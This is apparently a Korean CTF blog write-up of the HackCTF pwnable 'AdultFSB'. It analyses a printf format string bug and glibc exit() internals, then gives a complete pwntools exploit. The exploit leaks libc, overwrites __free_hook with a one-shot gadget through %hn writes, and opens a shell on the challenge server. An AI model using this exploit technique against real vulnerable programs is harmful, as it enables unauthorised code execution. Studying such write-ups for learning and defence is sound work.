tmxklab
[HackCTF/Pwnable] AdultFSB 본문
exit()함수 내부에 존재하는 free함수를 이용한 exploit
1. 문제
nc ctf.j0n9hyun.xyz 3040
1) mitigation 확인
2) 문제 확인
- 두 번의 입력을 받고 출력해준뒤 프로그램이 종료된다.
3) 코드 흐름 확인
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-144h]
char buf; // [rsp+10h] [rbp-140h]
unsigned __int64 v5; // [rsp+148h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init(argc, argv, envp);
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x12CuLL);
printf(&buf);
}
exit(0);
}
- read()를 통해 buf[rbp-0x140]에 0x12cbytes만큼 입력을 받는다.
- printf()를 통해 포맷 지정자없이 buf변수의 값을 출력한다. → FSB취약점
- 위 과정을 2번 반복한다.
- for문이 종료되면 exit()가 호출되면서 프로그램이 종료된다.
2. 접근방법
1) leak libc
먼저, printf함수 호출 직전 rsp로부터 스택 상황을 살펴보자
- 매우 멀리 떨어진 곳에 __libc_start_main+240주소가 보인다.
- 저거를 leak하면 libc base주소 찾는 거 it's ssab ganeung
- 입력 값 "%p%p%p..."를 주었을 때 %p가 출력되는 시점은 8번째 부터이다.
- 쭉 계산하다보면 0x7ffff7a2d840의 위치는 49번째이다.
- 따라서, %49$p를 하면 __libc_start_main+240 주소가 릭 될 것이다.
- it's good
2) exit()함수 내부 동작을 이용한 exploit
위에서 릭을 통해 libc base주소를 구하고 한 번더 fsb가 가능한 상황이다.
여기서 main함수 마지막에 exit()함수를 호출하는 부분을 이용하여 익스를 할 것이다.
처음에 몰랐는데 롸업을 보면서 exit함수 내부에 free함수를 호출하는 루틴이 존재하는 것을 알게 되었다.
익스하는 방법은 free_hook에 원샷 가젯 주소를 넣고 exit함수 내부에 free함수를 호출할 수 있도록 어떠한 값을 변경해주면 된다.
이제 exit함수 내부 동작을 살펴보자
exit()
void __fastcall __noreturn exit(__int64 a1)
{
sub_39F10(a1, (unsigned __int64)&off_3C45F8, 1);
}
- sub_39f10을 호출한다.
sub_39f10()
void __fastcall __noreturn sub_39F10(__int64 status, unsigned __int64 a2, char a3)
{
char v3; // r12
_QWORD **v4; // rbp
_QWORD *v5; // r13
__int64 v6; // rax
__int64 v7; // rdx
__int64 *v8; // rcx
bool v9; // zf
void (**v10)(void); // rbp
__int64 v11; // rax
v3 = a3;
v4 = (_QWORD **)a2;
_call_tls_dtors(status, a2);
while ( 1 )
{
v5 = *v4;
if ( !*v4 )
{
LABEL_9:
if ( v3 )
{
v10 = (void (**)(void))off_3C08D8;
if ( off_3C08D8 < off_3C08E0 )
{
do
{
(*v10)();
++v10;
}
while ( v10 < (void (**)(void))off_3C08E0 );
}
}
exit(status);
}
LABEL_3:
while ( 1 )
{
v6 = v5[1];
v7 = 32LL * v5[1];
v8 = (_QWORD *)((char *)v5 + v7 - 16);
if ( !v6 )
break;
while ( 1 )
{
v5[1] = --v6;
v7 = *v8;
if ( *v8 == 3 )
break;
if ( v7 == 4 )
{
a2 = (unsigned int)status;
((void (__fastcall *)(_QWORD, _QWORD))(__readfsqword(0x30u) ^ __ROR8__(v5[4 * v6 + 3], 17)))(
v5[4 * v6 + 4],
(unsigned int)status);
goto LABEL_3;
}
if ( v7 == 2 )
{
v11 = (__int64)&v5[4 * v6];
a2 = *(_QWORD *)(v11 + 32);
((void (__fastcall *)(_QWORD, unsigned __int64))(__readfsqword(0x30u) ^ __ROR8__(*(_QWORD *)(v11 + 24), 17)))(
(unsigned int)status,
a2);
goto LABEL_3;
}
v8 -= 4;
if ( !v6 )
goto LABEL_8;
}
((void (*)(void))(__readfsqword(0x30u) ^ __ROR8__(v5[4 * v6 + 3], 17)))();
}
LABEL_8:
v9 = *v5 == 0LL;
*v4 = (_QWORD *)*v5;
if ( v9 )
goto LABEL_9;
j_free((__int64)v5, a2, v7, (__int64)v8);
}
}
- 다른거는 볼 필요 없이 마지막 부분에 j_free()를 확인해보자
j_free()
__int64 __fastcall j_free(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return free(a1, a2, a3, a4);
}
- 여기서 free함수가 호출되는 것을 확인할 수 있다.
일반적인 경우 free함수가 호출되지 않고 종료되므로 free함수가 호출되는 루틴을 한 번 ida와 gdb를 통해 확인해보자
- exit함수 내부에서 __run_exit_handlers()를 호출한다.
- __run_exit_handlers()내부에서 __call_tls_dtors()를 호출하고 __run_exit_handlers+30에서 분기한다. 일반적인 경우 오른쪽으로 이동한다.
- 오른쪽 분기로 넘어오고 test rax, rax를 통해 flag값이 세팅된 다음 jz short loc_39f6f 에서 다시 분기되는데 이 때, 왼쪽으로 가면 j_free를 호출 할 수 있다.
- jz명령어는 Z플래그가 제로이면 점프하는 것이고 왼쪽분기로 갈 수 있다.
여기서 중요한 부분은 test rax, rax이므로 rax값이 어떻게 세팅되는지 살펴보자
- r13+0x8위치에 존재하는 값을 rax에 저장하고 test rax, rax를 하게 된다.
- test명령어는 오퍼랜드끼리 and연산 과정을 거쳐 결과 값을 Z플래그를 세팅하게 된다. 즉, test rax, rax는 rax값이 0인지 아닌지 확인하는 명령이다.
- 만일, rax값이 0이면 Z플래그가 세팅될 것이다.
- r13+8에는 0x1로 세팅된 것을 확인할 수 있다.
- 결국, ZF플래그가 세팅되지 않아 오른쪽 분기로 빠져 j_free를 실행할 수 없게 된다.
그럼 $set명령어를 통해 rax값에 0으로 세팅하고 확인해보자
- 왼쪽 분기로 넘어온 상태이며 마지막으로 test rax, rax를 통해 분기를 하게 된다.
- 이번엔 rax를 [r13+0]에 있는 값을 가져와서 test명령어를 수행한다.
- 아까와는 다르게 rax에 있는 값이 0이 아니면 오른쪽 분기로 이동하여 j_free함수를 호출할 수 있다.
- 하지만, r13에는 0이 존재하여 j_free함수를 호출할 수 없다.
- 따라서, 마지막 분기에서는 r13에 0이 아닌 값을 넣으면 j_free함수를 호출하여 결과적으로 free함수를 호출할 수 있을 것이다.
요약)
- exit() → __run_exit_handlers() → j_free() → free()
- 일반적인 경우 __run_exit_handlers()에서 j_free를 호출하지 않음
- 따라서, j_free함수를 호출하기 위해서 2개의 분기문에서 j_free함수로 호출되도록 해야함
- 조건은 r13+0에 있는 값이 0이 아니면 되고 r13+8에 있는 값이 0이면 j_free함수를 호출할 수 있다.
- 이 때, r13은 initial구조체 주소 값이다.
initial 구조체)
- initial+0에는 0이 아닌 값, initial+8에는 0을 넣으면 된다.
결론적으로 GOT Overwrite가 가능하지 않은 상황에서 free_hook에 원샷 가젯을 넣고 exit함수 내부에서 free를 호출하도록 루틴을 바꿔 익스할 수 있다.
공격 프로세스)
- 첫 번째 fsb를 통해 __libc_start_main+240주소를 릭하여 libc base주소를 구한다.
- 두 번째 fsb를 통해 *(initial+0) = 0이 아닌 값, *(initial+8) = 0으로 세팅하고 free_hook주소에 원샷 가젯을 넣는다.
3. 풀이
1) 원샷 가젯
2) initial 위치
- libc에서 initial이라는 심볼 정보가 없어서 0x60만큼 떨어진 곳에 __abort_msg심볼을 이용하여 initial위치 계산
3) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./adult_fsb")
p = remote("ctf.j0n9hyun.xyz", 3040)
e = ELF("./adult_fsb")
libc = ELF("/home/cmc/Desktop/lib_hack/adultfsb/libc.so.6")
#gdb.attach(p, """b*0x40075a""")
libc_start_main_offset = libc.symbols['__libc_start_main']
initial_offset = libc.symbols['__abort_msg'] + 0x60
free_hook_offset = libc.symbols['__free_hook']
#oneshot_offset = 0x45216
oneshot_offset = 0x4526a
#oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147
log.info("libc_start_main_offset : "+hex(libc_start_main_offset))
log.info("free_hook_offset : "+hex(free_hook_offset))
log.info("initial_offset : "+hex(initial_offset))
p.sendline("%49$p")
libc_start_main_addr = int(p.recv(14), 16) - 240
libc_base_addr = libc_start_main_addr - libc_start_main_offset
initial_addr = libc_base_addr + initial_offset
free_hook_addr = libc_base_addr + free_hook_offset
oneshot_addr = libc_base_addr + oneshot_offset
oneshot_low = oneshot_addr & 0xffff
oneshot_mid = (oneshot_addr >> 16) & 0xffff
oneshot_high = (oneshot_addr >> 32) & 0xffff
log.info("libc_start_main_addr : "+hex(libc_start_main_addr))
log.info("libc_base_addr : "+hex(libc_base_addr))
log.info("initial_addr : "+hex(initial_addr))
log.info("free_hook_addr : "+hex(free_hook_addr))
log.info("oneshot_addr : "+hex(oneshot_addr))
log.info("oneshot_low : "+hex(oneshot_low))
log.info("oneshot_mid : "+hex(oneshot_mid))
log.info("oneshot_high : "+hex(oneshot_high))
if oneshot_mid > oneshot_low:
oneshot_mid = oneshot_mid - oneshot_low
else:
oneshot_mid = 0x10000 + oneshot_mid - oneshot_low
if oneshot_high > (oneshot_mid + oneshot_low):
oneshot_high = oneshot_high - oneshot_mid - oneshot_low
else:
oneshot_high = 0x10000 + oneshot_high - oneshot_mid - oneshot_low
payload = "%{}c".format(1)
payload += "%16$hn"
payload += "%{}c".format(1)
payload += "%17$hn"
payload += "%{}c".format(oneshot_low-2)
payload += "%18$hn"
payload += "%{}c".format(oneshot_mid)
payload += "%19$hn"
payload += "%{}c".format(oneshot_high)
payload += "%20$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(initial_addr)
payload += p64(initial_addr+7)
payload += p64(free_hook_addr)
payload += p64(free_hook_addr+2)
payload += p64(free_hook_addr+4)
p.sendafter("\n", payload)
p.interactive()
- *(initial+8) = 0으로 세팅하기 위해서 *(initial+8)보다 1byte낮은 initial+7에 2bytes를 0x0002로 세팅했다.
4) 실행결과
4. 몰랐던 개념
1) exit내부 동작을 이용한 exploit
- https://m.blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221559719664&proxyReferer=https:%2F%2Fwww.google.com%2F
- https://leemon.tistory.com/31?category=813256
- https://shotgh.tistory.com/98
+)
추가로 exit()함수 내부에 j_free를 호출하는 루틴이 몇 군데 더 있는 것을 확인하였다.
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/reversing] BabyMIPS (0) | 2021.01.14 |
---|---|
[HackCTF/Pwnable] 훈폰정음 (0) | 2020.08.27 |
[HackCTF/Pwnable] Unexploitable #4 (0) | 2020.08.15 |
[HackCTF/Pwnable] ChildFSB (2) | 2020.08.15 |
[HackCTF/Pwnable] wishilist (0) | 2020.08.15 |